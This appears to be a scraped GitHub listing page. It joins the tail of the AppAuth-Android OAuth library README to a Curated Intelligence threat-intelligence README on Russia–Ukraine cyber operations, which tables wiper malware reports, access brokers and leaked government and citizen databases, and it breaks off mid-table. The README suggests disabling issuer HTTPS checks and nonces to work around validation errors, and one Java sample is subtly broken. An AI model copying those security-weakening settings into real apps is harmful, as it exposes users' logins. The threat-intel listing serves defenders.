[ConnectionBuilder](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/connectivity/ConnectionBuilder.java) instance. For example, to custom the SSL socket factory used, one could do the following: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setConnectionBuilder(new ConnectionBuilder() { public HttpURLConnection openConnect(Uri uri) throws IOException { URL url = new URL(uri.toString()); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); if (connection instanceof HttpsUrlConnection) { HttpsURLConnection connection = (HttpsURLConnection) connection; connection.setSSLSocketFactory(MySocketFactory.getInstance()); } } }) .build(); ``` ### Issues with [ID Token](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/IdToken.java#L118) validation ID Token validation was introduced in `0.8.0` but not all authorization servers or configurations support it correctly. - For testing environments [setSkipIssuerHttpsCheck](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java#L129) can be used to bypass the fact the issuer needs to be HTTPS. ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setSkipIssuerHttpsCheck(true) .build() ``` - For services that don't support nonce[s] resulting in **IdTokenException** `Nonce mismatch` just set nonce to `null` on the `AuthorizationRequest`. Please consider **raising an issue** with your Identity Provider and removing this once it is fixed. ```java AuthorizationRequest authRequest = authRequestBuilder .setNonce(null) .build(); ``` ## Dynamic client registration AppAuth supports the [OAuth2 dynamic client registration protocol](https://tools.ietf.org/html/rfc7591). In order to dynamically register a client, create a [RegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/RegistrationRequest.java) and dispatch it using [performRegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L278) on your AuthorizationService instance. The registration endpoint can either be defined directly as part of your [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java), or discovered from an OpenID Connect discovery document. ```java RegistrationRequest registrationRequest = new RegistrationRequest.Builder( serviceConfig, Arrays.asList(redirectUri)) .build(); ``` Requests are dispatched with the help of `AuthorizationService`. As this request is asynchronous the response is passed to a callback: ```java service.performRegistrationRequest( registrationRequest, new AuthorizationService.RegistrationResponseCallback() { @Override public void onRegistrationRequestCompleted( @Nullable RegistrationResponse resp, @Nullable AuthorizationException ex) { if (resp != null) { // registration succeeded, store the registration response AuthState state = new AuthState(resp); //proceed to authorization... } else { // registration failed, check ex for more details } } }); ``` ## Utilizing client secrets (DANGEROUS) We _strongly recommend_ you avoid using static client secrets in your native applications whenever possible. Client secrets derived via a dynamic client registration are safe to use, but static client secrets can be easily extracted from your apps and allow others to impersonate your app and steal user data. If client secrets must be used by the OAuth2 provider you are integrating with, we strongly recommend performing the code exchange step on your backend, where the client secret can be kept hidden. Having said this, in some cases using client secrets is unavoidable. In these cases, a [ClientAuthentication](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientAuthentication.java) instance can be provided to AppAuth when performing a token request. This allows additional parameters (both HTTP headers and request body parameters) to be added to token requests. Two standard implementations of ClientAuthentication are provided: - [ClientSecretBasic](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretBasic.java): includes a client ID and client secret as an HTTP Basic Authorization header. - [ClientSecretPost](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretPost.java): includes a client ID and client secret as additional request parameters. So, in order to send a token request using HTTP basic authorization, one would write: ```java ClientAuthentication clientAuth = new ClientSecretBasic(MY_CLIENT_SECRET); TokenRequest req = ...; authService.performTokenRequest(req, clientAuth, callback); ``` This can also be done when using `performActionWithFreshTokens` on AuthState: ```java ClientAuthentication clientAuth = new ClientSecretPost(MY_CLIENT_SECRET); authState.performActionWithFreshTokens( authService, clientAuth, action); ``` ## Modifying or contributing to AppAuth This project requires the Android SDK for API level 25 (Nougat) to build, though the produced binaries only require API level 16 (Jellybean) to be used. We recommend that you fork and/or clone this repository to make modifications; downloading the source has been known to cause some developers problems. For contributors, see the additional instructions in [CONTRIBUTING.md](https://github.com/openid/AppAuth-Android/blob/master/CONTRIBUTING.md). ### Building from the Command line AppAuth for Android uses Gradle as its build system. In order to build the library and app binaries, run `./gradlew assemble`. The library AAR files are output to `library/build/outputs/aar`, while the demo app is output to `app/build/outputs/apk`. In order to run the tests and code analysis, run `./gradlew check`. ### Building from Android Studio In AndroidStudio, File -> New -> Import project. Select the root folder (the one with the `build.gradle` file).

    From user mercerheather476

  • muratgozel / turkey-neighbourhoods

    names.io, Always up to date names of cities, districts and neighbourhoods of Turkey + city distances. / Her zaman güncel, Türkiye şehir, posta kodu, plaka kodu, ilçe ve mahalle listesi + şehirlerarası mesafeler.

    From user muratgozel

  • nate0634034090 / bug-free-memory

    names.io, ​![​logo​](https://github.com/curated-intel/Ukraine-Cyber-Operations/blob/main/ci-logo.png) ​#​ ​Ukraine-Cyber-Operations ​Curated Intelligence is working with analysts from around the world to provide useful information to organisations in Ukraine looking for additional free threat intelligence. Slava Ukraini. Glory to Ukraine. ([​Blog​](https://www.curatedintel.org/2021/08/welcome.html) | [​Twitter​](https://twitter.com/CuratedIntel) | [​LinkedIn​](https://www.linkedin.com/company/curatedintelligence/)) ​![​timeline​](https://github.com/curated-intel/Ukraine-Cyber-Operations/blob/main/uacyberopsv2.png) ​![​cyberwar​](https://github.com/curated-intel/Ukraine-Cyber-Operations/blob/main/Russia-Ukraine%20Cyberwar.png) ​###​ ​Analyst Comments: ​-​ 2022-02-25 ​  ​-​ Creation of the initial repository to help organisations in Ukraine ​  ​-​ Added [​Threat Reports​](https://github.com/curated-intel/Ukraine-Cyber-Operations#threat-reports) section ​  ​-​ Added [​Vendor Support​](https://github.com/curated-intel/Ukraine-Cyber-Operations#vendor-support) section ​-​ 2022-02-26 ​  ​-​ Additional resources, chronologically ordered (h/t Orange-CD) ​  ​-​ Added [​Vetted OSINT Sources​](https://github.com/curated-intel/Ukraine-Cyber-Operations#vetted-osint-sources) section  ​  ​-​ Added [​Miscellaneous Resources​](https://github.com/curated-intel/Ukraine-Cyber-Operations#miscellaneous-resources) section ​-​ 2022-02-27 ​  ​-​ Additional threat reports have been added ​  ​-​ Added [​Data Brokers​](https://github.com/curated-intel/Ukraine-Cyber-Operations/blob/main/README.md#data-brokers) section ​  ​-​ Added [​Access Brokers​](https://github.com/curated-intel/Ukraine-Cyber-Operations/blob/main/README.md#access-brokers) section ​-​ 2022-02-28 ​  ​-​ Added Russian Cyber Operations Against Ukraine Timeline by ETAC ​  ​-​ Added Vetted and Contextualized [​Indicators of Compromise (IOCs)​](https://github.com/curated-intel/Ukraine-Cyber-Operations/blob/main/ETAC_Vetted_UkraineRussiaWar_IOCs.csv) by ETAC ​-​ 2022-03-01 ​  ​-​ Additional threat reports and resources have been added ​-​ 2022-03-02 ​  ​-​ Additional [​Indicators of Compromise (IOCs)​](https://github.com/curated-intel/Ukraine-Cyber-Operations/blob/main/ETAC_Vetted_UkraineRussiaWar_IOCs.csv#L2011) have been added ​  ​-​ Added vetted [​YARA rule collection​](https://github.com/curated-intel/Ukraine-Cyber-Operations/tree/main/yara) from the Threat Reports by ETAC ​  ​-​ Added loosely-vetted [​IOC Threat Hunt Feeds​](https://github.com/curated-intel/Ukraine-Cyber-Operations/tree/main/KPMG-Egyde_Ukraine-Crisis_Feeds/MISP-CSV_MediumConfidence_Filtered) by KPMG-Egyde CTI (h/t [​0xDISREL​](https://twitter.com/0xDISREL)) ​    ​-​ IOCs shared by these feeds are ​`LOW-TO-MEDIUM CONFIDENCE`​ we strongly recommend NOT adding them to a blocklist ​    ​-​ These could potentially be used for ​`THREAT HUNTING`​ and could be added to a ​`WATCHLIST` ​    ​-​ IOCs are generated in ​`MISP COMPATIBLE`​ CSV format ​-​ 2022-03-03 ​  ​-​ Additional threat reports and vendor support resources have been added ​  ​-​ Updated [​Log4Shell IOC Threat Hunt Feeds​](https://github.com/curated-intel/Log4Shell-IOCs/tree/main/KPMG_Log4Shell_Feeds) by KPMG-Egyde CTI; not directly related to Ukraine, but still a widespread vulnerability. ​  ​-​ Added diagram of Russia-Ukraine Cyberwar Participants 2022 by ETAC ​  ​-​ Additional [​Indicators of Compromise (IOCs)​](https://github.com/curated-intel/Ukraine-Cyber-Operations/blob/main/ETAC_Vetted_UkraineRussiaWar_IOCs.csv#L2042) have been added ​####​ ​`Threat Reports` ​| Date | Source | Threat(s) | URL | ​| --- | --- | --- | --- | ​| 14 JAN | SSU Ukraine | Website Defacements | [ssu.gov.ua](https://ssu.gov.ua/novyny/sbu-rozsliduie-prychetnist-rosiiskykh-spetssluzhb-do-sohodnishnoi-kiberataky-na-orhany-derzhavnoi-vlady-ukrainy)| ​| 15 JAN | Microsoft | WhisperGate wiper (DEV-0586) | [microsoft.com](https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/) | ​| 19 JAN | Elastic | WhisperGate wiper (Operation BleedingBear) | [elastic.github.io](https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/) | ​| 31 JAN | Symantec | Gamaredon/Shuckworm/PrimitiveBear (FSB) | [symantec-enterprise-blogs.security.com](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine) | ​| 2 FEB | RaidForums | Access broker "GodLevel" offering Ukrainain algricultural exchange | RaidForums [not linked] | ​| 2 FEB | CERT-UA | UAC-0056 using SaintBot and OutSteel malware | [cert.gov.ua](https://cert.gov.ua/article/18419) | ​| 3 FEB | PAN Unit42 | Gamaredon/Shuckworm/PrimitiveBear (FSB) | [unit42.paloaltonetworks.com](https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/) | ​| 4 FEB | Microsoft | Gamaredon/Shuckworm/PrimitiveBear (FSB) | [microsoft.com](https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/) | ​| 8 FEB | NSFOCUS | Lorec53 (aka UAC-0056, EmberBear, BleedingBear) | [nsfocusglobal.com](https://nsfocusglobal.com/apt-retrospection-lorec53-an-active-russian-hack-group-launched-phishing-attacks-against-georgian-government) | ​| 15 FEB | CERT-UA | DDoS attacks against the name server of government websites as well as Oschadbank (State Savings Bank) & Privatbank (largest commercial bank). False SMS and e-mails to create panic | [cert.gov.ua](https://cert.gov.ua/article/37139) | ​| 23 FEB | The Daily Beast | Ukrainian troops receive threatening SMS messages | [thedailybeast.com](https://www.thedailybeast.com/cyberattacks-hit-websites-and-psy-ops-sms-messages-targeting-ukrainians-ramp-up-as-russia-moves-into-ukraine) | ​| 23 FEB | UK NCSC | Sandworm/VoodooBear (GRU) | [ncsc.gov.uk](https://www.ncsc.gov.uk/files/Joint-Sandworm-Advisory.pdf) | ​| 23 FEB | SentinelLabs | HermeticWiper | [sentinelone.com]( https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ ) | ​| 24 FEB | ESET | HermeticWiper | [welivesecurity.com](https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine/) | ​| 24 FEB | Symantec | HermeticWiper, PartyTicket ransomware, CVE-2021-1636, unknown webshell | [symantec-enterprise-blogs.security.com](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia) | ​| 24 FEB | Cisco Talos | HermeticWiper | [blog.talosintelligence.com](https://blog.talosintelligence.com/2022/02/threat-advisory-hermeticwiper.html) | ​| 24 FEB | Zscaler | HermeticWiper | [zscaler.com](https://www.zscaler.com/blogs/security-research/hermetic-wiper-resurgence-targeted-attacks-ukraine) | ​| 24 FEB | Cluster25 | HermeticWiper | [cluster25.io](https://cluster25.io/2022/02/24/ukraine-analysis-of-the-new-disk-wiping-malware/) | ​| 24 FEB | CronUp | Data broker "FreeCivilian" offering multiple .gov.ua | [twitter.com/1ZRR4H](https://twitter.com/1ZRR4H/status/1496931721052311557)| ​| 24 FEB | RaidForums | Data broker "Featherine" offering diia.gov.ua | RaidForums [not linked] | ​| 24 FEB | DomainTools | Unknown scammers | [twitter.com/SecuritySnacks](https://twitter.com/SecuritySnacks/status/1496956492636905473?s=20&t=KCIX_1Ughc2Fs6Du-Av0Xw) | ​| 25 FEB | @500mk500 | Gamaredon/Shuckworm/PrimitiveBear (FSB) | [twitter.com/500mk500](https://twitter.com/500mk500/status/1497339266329894920?s=20&t=opOtwpn82ztiFtwUbLkm9Q) | ​| 25 FEB | @500mk500 | Gamaredon/Shuckworm/PrimitiveBear (FSB) | [twitter.com/500mk500](https://twitter.com/500mk500/status/1497208285472215042)| ​| 25 FEB | Microsoft | HermeticWiper | [gist.github.com](https://gist.github.com/fr0gger/7882fde2b1b271f9e886a4a9b6fb6b7f) | ​| 25 FEB | 360 NetLab | DDoS (Mirai, Gafgyt, IRCbot, Ripprbot, Moobot) | [blog.netlab.360.com](https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/) | ​| 25 FEB | Conti [themselves] | Conti ransomware, BazarLoader | Conti News .onion [not linked] | ​| 25 FEB | CoomingProject [themselves] | Data Hostage Group | CoomingProject Telegram [not linked] | ​| 25 FEB | CERT-UA | UNC1151/Ghostwriter (Belarus MoD) | [CERT-UA Facebook](https://facebook.com/story.php?story_fbid=312939130865352&id=100064478028712)| ​| 25 FEB | Sekoia | UNC1151/Ghostwriter (Belarus MoD) | [twitter.com/sekoia_io](https://twitter.com/sekoia_io/status/1497239319295279106) | ​| 25 FEB | @jaimeblascob | UNC1151/Ghostwriter (Belarus MoD) | [twitter.com/jaimeblasco](https://twitter.com/jaimeblascob/status/1497242668627370009)| ​| 25 FEB | RISKIQ | UNC1151/Ghostwriter (Belarus MoD) | [community.riskiq.com](https://community.riskiq.com/article/e3a7ceea/) | ​| 25 FEB | MalwareHunterTeam | Unknown phishing | [twitter.com/malwrhunterteam](https://twitter.com/malwrhunterteam/status/1497235270416097287) | ​| 25 FEB | ESET | Unknown scammers | [twitter.com/ESETresearch](https://twitter.com/ESETresearch/status/1497194165561659394) | ​| 25 FEB | BitDefender | Unknown scammers | [blog.bitdefender.com](https://blog.bitdefender.com/blog/hotforsecurity/cybercriminals-deploy-spam-campaign-as-tens-of-thousands-of-ukrainians-seek-refuge-in-neighboring-countries/) | ​| 25 FEB | SSSCIP Ukraine | Unkown phishing | [twitter.com/dsszzi](https://twitter.com/dsszzi/status/1497103078029291522) | ​| 25 FEB | RaidForums | Data broker "NetSec"  offering FSB (likely SMTP accounts) | RaidForums [not linked] | ​| 25 FEB | Zscaler | PartyTicket decoy ransomware | [zscaler.com](https://www.zscaler.com/blogs/security-research/technical-analysis-partyticket-ransomware) | ​| 25 FEB | INCERT GIE | Cyclops Blink, HermeticWiper | [linkedin.com](https://www.linkedin.com/posts/activity-6902989337210740736-XohK) [Login Required] | ​| 25 FEB | Proofpoint | UNC1151/Ghostwriter (Belarus MoD) | [twitter.com/threatinsight](https://twitter.com/threatinsight/status/1497355737844133895?s=20&t=Ubi0tb_XxGCbHLnUoQVp8w) | ​| 25 FEB | @fr0gger_ | HermeticWiper capabilities Overview | [twitter.com/fr0gger_](https://twitter.com/fr0gger_/status/1497121876870832128?s=20&t=_296n0bPeUgdXleX02M9mg) ​| 26 FEB | BBC Journalist | A fake Telegram account claiming to be President Zelensky is posting dubious messages | [twitter.com/shayan86](https://twitter.com/shayan86/status/1497485340738785283?s=21) | ​| 26 FEB | CERT-UA | UNC1151/Ghostwriter (Belarus MoD) | [CERT_UA Facebook](https://facebook.com/story.php?story_fbid=313517477474184&id=100064478028712) | ​| 26 FEB | MHT and TRMLabs | Unknown scammers, linked to ransomware | [twitter.com/joes_mcgill](https://twitter.com/joes_mcgill/status/1497609555856932864?s=20&t=KCIX_1Ughc2Fs6Du-Av0Xw) | ​| 26 FEB | US CISA | WhisperGate wiper, HermeticWiper | [cisa.gov](https://www.cisa.gov/uscert/ncas/alerts/aa22-057a) | ​| 26 FEB | Bloomberg | Destructive malware (possibly HermeticWiper) deployed at Ukrainian Ministry of Internal Affairs & data stolen from Ukrainian telecommunications networks | [bloomberg.com](https://www.bloomberg.com/news/articles/2022-02-26/hackers-destroyed-data-at-key-ukraine-agency-before-invasion?sref=ylv224K8) | ​| 26 FEB | Vice Prime Minister of Ukraine | IT ARMY of Ukraine created to crowdsource offensive operations against Russian infrastructure | [twitter.com/FedorovMykhailo](https://twitter.com/FedorovMykhailo/status/1497642156076511233) | ​| 26 FEB | Yoroi | HermeticWiper | [yoroi.company](https://yoroi.company/research/diskkill-hermeticwiper-a-disruptive-cyber-weapon-targeting-ukraines-critical-infrastructures) | ​| 27 FEB | LockBit [themselves] | LockBit ransomware | LockBit .onion [not linked] |  ​| 27 FEB | ALPHV [themselves] | ALPHV ransomware | vHUMINT [closed source] | ​| 27 FEB | Mēris Botnet [themselves] | DDoS attacks | vHUMINT [closed source] | ​| 28 FEB | Horizon News [themselves] | Leak of China's Censorship Order about Ukraine | [TechARP](https://www-techarp-com.cdn.ampproject.org/c/s/www.techarp.com/internet/chinese-media-leaks-ukraine-censor/?amp=1)| ​| 28 FEB | Microsoft | FoxBlade (aka HermeticWiper) | [Microsoft](https://blogs.microsoft.com/on-the-issues/2022/02/28/ukraine-russia-digital-war-cyberattacks/?preview_id=65075) | ​| 28 FEB | @heymingwei | Potential BGP hijacks attempts against Ukrainian Internet Names Center | [https://twitter.com/heymingwei](https://twitter.com/heymingwei/status/1498362715198263300?s=20&t=Ju31gTurYc8Aq_yZMbvbxg) | ​| 28 FEB | @cyberknow20 | Stormous ransomware targets Ukraine Ministry of Foreign Affairs | [twitter.com/cyberknow20](https://twitter.com/cyberknow20/status/1498434090206314498?s=21) |  ​| 1 MAR | ESET | IsaacWiper and HermeticWizard | [welivesecurity.com](https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/) | ​| 1 MAR | Proofpoint | Ukrainian armed service member's email compromised and sent malspam containing the SunSeed malware (likely TA445/UNC1151/Ghostwriter) | [proofpoint.com](https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails) | ​| 1 MAR | Elastic | HermeticWiper | [elastic.github.io](https://elastic.github.io/security-research/intelligence/2022/03/01.hermeticwiper-targets-ukraine/article/) | ​| 1 MAR | CrowdStrike | PartyTicket (aka HermeticRansom), DriveSlayer (aka HermeticWiper) | [CrowdStrike](https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine/) | ​| 2 MAR | Zscaler | DanaBot operators launch DDoS attacks against the Ukrainian Ministry of Defense | [zscaler.com](https://www.zscaler.com/blogs/security-research/danabot-launches-ddos-attack-against-ukrainian-ministry-defense) | ​| 3 MAR | @ShadowChasing1 | Gamaredon/Shuckworm/PrimitiveBear (FSB) | [twitter.com/ShadowChasing1](https://twitter.com/ShadowChasing1/status/1499361093059153921) | ​| 3 MAR | @vxunderground | News website in Poland was reportedly compromised and the threat actor uploaded anti-Ukrainian propaganda | [twitter.com/vxunderground](https://twitter.com/vxunderground/status/1499374914758918151?s=20&t=jyy9Hnpzy-5P1gcx19bvIA) | ​| 3 MAR | @kylaintheburgh | Russian botnet on Twitter is pushing "#istandwithputin" and "#istandwithrussia" propaganda (in English) | [twitter.com/kylaintheburgh](https://twitter.com/kylaintheburgh/status/1499350578371067906?s=21) | ​| 3 MAR | @tracerspiff | UNC1151/Ghostwriter (Belarus MoD) | [twitter.com](https://twitter.com/tracerspiff/status/1499444876810854408?s=21) | ​####​ ​`Access Brokers` ​| Date | Threat(s) | Source | ​| --- | --- | --- | ​| 23 JAN | Access broker "Mont4na" offering UkrFerry | RaidForums [not linked] | ​| 23 JAN | Access broker "Mont4na" offering PrivatBank | RaidForums [not linked] | ​| 24 JAN | Access broker "Mont4na" offering DTEK | RaidForums [not linked] | ​| 27 FEB | KelvinSecurity Sharing list of IP cameras in Ukraine | vHUMINT [closed source] | ​| 28 FEB | "w1nte4mute" looking to buy access to UA and NATO countries (likely ransomware affiliate) | vHUMINT [closed source] | ​####​ ​`Data Brokers` ​| Threat Actor    | Type            | Observation                                                                                               | Validated | Relevance                     | Source                                                     | ​| --------------- | --------------- | --------------------------------------------------------------------------------------------------------- | --------- | ----------------------------- | ---------------------------------------------------------- | ​| aguyinachair    | UA data sharing | PII DB of ukraine.com (shared as part of a generic compilation)                                           | No        | TA discussion in past 90 days | ELeaks Forum \[not linked\]                                | ​| an3key          | UA data sharing | DB of Ministry of Communities and Territories Development of Ukraine (minregion\[.\]gov\[.\]ua)           | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| an3key          | UA data sharing | DB of Ukrainian Ministry of Internal Affairs (wanted\[.\]mvs\[.\]gov\[.\]ua)                              | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| CorelDraw       | UA data sharing | PII DB (40M) of PrivatBank customers (privatbank\[.\]ua)                                                  | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| CorelDraw       | UA data sharing | DB of "border crossing" DBs of DPR and LPR                                                                | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| CorelDraw       | UA data sharing | PII DB (7.5M) of Ukrainian passports                                                                      | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| CorelDraw       | UA data sharing | PII DB of Ukrainian car registration, license plates, Ukrainian traffic police records                    | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| CorelDraw       | UA data sharing | PII DB (2.1M) of Ukrainian citizens                                                                       | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| CorelDraw       | UA data sharing | PII DB (28M) of Ukrainian citizens (passports, drivers licenses, photos)                                  | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| CorelDraw       | UA data sharing | PII DB (1M) of Ukrainian postal/courier service customers (novaposhta\[.\]ua)                             | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| CorelDraw       | UA data sharing | PII DB (10M) of Ukrainian telecom customers (vodafone\[.\]ua)                                             | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| CorelDraw       | UA data sharing | PII DB (3M) of Ukrainian telecom customers (lifecell\[.\]ua)                                              | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| CorelDraw       | UA data sharing | PII DB (13M) of Ukrainian telecom customers (kyivstar\[.\]ua)                                             | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| danieltx51      | UA data sharing | DB of Ministry of Foreign Affairs of Ukraine (mfa\[.\]gov\[.\]ua)                                         | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| DueDiligenceCIS | UA data sharing | PII DB (63M) of Ukrainian citizens (name, DOB, birth country, phone, TIN, passport, family, etc)          | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| Featherine      | UA data sharing | DB of Ukrainian 'Diia' e-Governance Portal for Ministry of Digital Transformation of Ukraine              | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| FreeCivilian    | UA data sharing | DB of Ministry for Internal Affairs of Ukraine public data search engine (wanted\[.\]mvs\[.\]gov\[.\]ua)  | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| FreeCivilian    | UA data sharing | DB of Ministry for Communities and Territories Development of Ukraine (minregion\[.\]gov\[.\]ua)          | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| FreeCivilian    | UA data sharing | DB of Motor Insurance Bureau of Ukraine (mtsbu\[.\]ua)                                                    | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| FreeCivilian    | UA data sharing | PII DB of Ukrainian digital-medicine provider (medstar\[.\]ua)                                            | No        | TA discussion in past 90 days | RaidForums \[not linked; site hijacked since UA invasion\] | ​| FreeCivilian    | UA data sharing | DB of ticket.kyivcity.gov.ua                                                                              | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of id.kyivcity.gov.ua                                                                                  | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of my.kyivcity.gov.ua                                                                                  | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of portal.kyivcity.gov.ua                                                                              | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of anti-violence-map.msp.gov.ua                                                                        | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of dopomoga.msp.gov.ua                                                                                 | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of e-services.msp.gov.ua                                                                               | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of edu.msp.gov.ua                                                                                      | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of education.msp.gov.ua                                                                                | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of ek-cbi.msp.gov.ua                                                                                   | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mail.msp.gov.ua                                                                                     | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of portal-gromady.msp.gov.ua                                                                           | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of web-minsoc.msp.gov.ua                                                                               | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of wcs-wim.dsbt.gov.ua                                                                                 | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of bdr.mvs.gov.ua                                                                                      | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of motorsich.com                                                                                       | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of dsns.gov.ua                                                                                         | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mon.gov.ua                                                                                          | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of minagro.gov.ua                                                                                      | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of zt.gov.ua                                                                                           | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of kmu.gov.ua                                                                                          | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mvs.gov.ua                                                                                          | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of dsbt.gov.ua                                                                                         | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of forest.gov.ua                                                                                       | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of nkrzi.gov.ua                                                                                        | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of dabi.gov.ua                                                                                         | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of comin.gov.ua                                                                                        | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of dp.dpss.gov.ua                                                                                      | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of esbu.gov.ua                                                                                         | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mms.gov.ua                                                                                          | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mova.gov.ua                                                                                         | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mspu.gov.ua                                                                                         | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of nads.gov.ua                                                                                         | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of reintegration.gov.ua                                                                                | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of sies.gov.ua                                                                                         | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of sport.gov.ua                                                                                        | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mepr.gov.ua                                                                                         | No        | TA discussion in past 90 days | FreeCivilian .onion \[not linked\]                         | ​| FreeCivilian    | UA data sharing | DB of mfa.gov.ua                                                                                          | No        | TA discussion in past 90 days | 